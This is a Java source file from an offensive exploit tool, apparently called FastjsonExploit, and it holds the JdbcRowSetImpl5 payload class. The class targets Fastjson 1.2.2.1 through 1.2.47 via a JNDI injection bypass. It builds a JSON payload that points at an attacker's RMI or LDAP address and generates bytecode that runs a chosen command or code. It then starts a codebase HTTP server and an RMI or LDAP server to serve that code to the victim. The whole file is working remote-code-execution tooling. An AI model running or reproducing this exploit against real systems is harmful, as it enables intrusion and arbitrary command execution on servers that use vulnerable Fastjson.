package payloads;

import com.alibaba.fastjson.JSON;
import payloads.annotation.PayloadType;
import server.CodebaseServer;
import gadget.Gadget;
import payloads.annotation.Dependencies;
import payloads.annotation.VulVersion;
import util.*;

import static server.LDAPServer.lanuchLDAPServer;
import static server.RMIServer.lanuchRMIregister;

@PayloadType({PayloadType.JNDI})
@Dependencies({"JdbcRowSetImpl1:Fastjson 1.2.47 bypass"})
@VulVersion({"1.2.2.1-1.2.4.7"})
public class JdbcRowSetImpl5 implements ObjectPayload{

    @Override
    public void process(String[] args) {
        if(args.length != 3 && args.length != 4){
            System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl5 [rmi/ldap address] [\"cmd:xxx|code:xxx.java\"]");
            return;
        }

        String address = args[1].trim();
        String expression = args[2].trim();

        if(!AddressParser.isAddress(address)){
            Alert.printValidAddress();
            return;
        }

        //Setp01:生成payload
        JarFileReader jarFileReader = new JarFileReader();
        String payload = jarFileReader.read("JdbcRowSetImpl5.tpl");
        payload = payload.replace("###RMI_LDAP_ADDRESS###",address);
        System.out.println("[*] payload build success!");
        System.out.println("");
        System.out.println(payload);
        System.out.println("");

        //Setp02:生成本地exploit字节码
        Common.byteCode = Gadget.getJdbcRowSetImplExpCode(expression);


        //Setp03:启动服务
        AddressParser ap = new AddressParser();
        ap.parser(address);
        try {
            String server_host = ap.getHost();
            Integer service_port = Integer.valueOf(ap.getPort());
            int http_port = Util.getUnusePort("127.0.0.1");
            CodebaseServer.lanuchCodebaseURLServer(server_host, http_port);

            if (ap.getProtocol().equals("rmi")) {
                lanuchRMIregister(service_port, server_host, http_port);
            } else if (ap.getProtocol().equals("ldap")) {
                lanuchLDAPServer(service_port, server_host, http_port);
            }
        }catch (Exception e){
            e.printStackTrace();
            System.out.println("FastjsonExploit exit!");
            System.exit(0);
        }

        //Setp04:本地测试解析
        if(args.length == 4 && args[3].equals("-exec")){
            System.out.println("[*] Try local parsing");
            JSON.parse(payload);
        }
    }
}
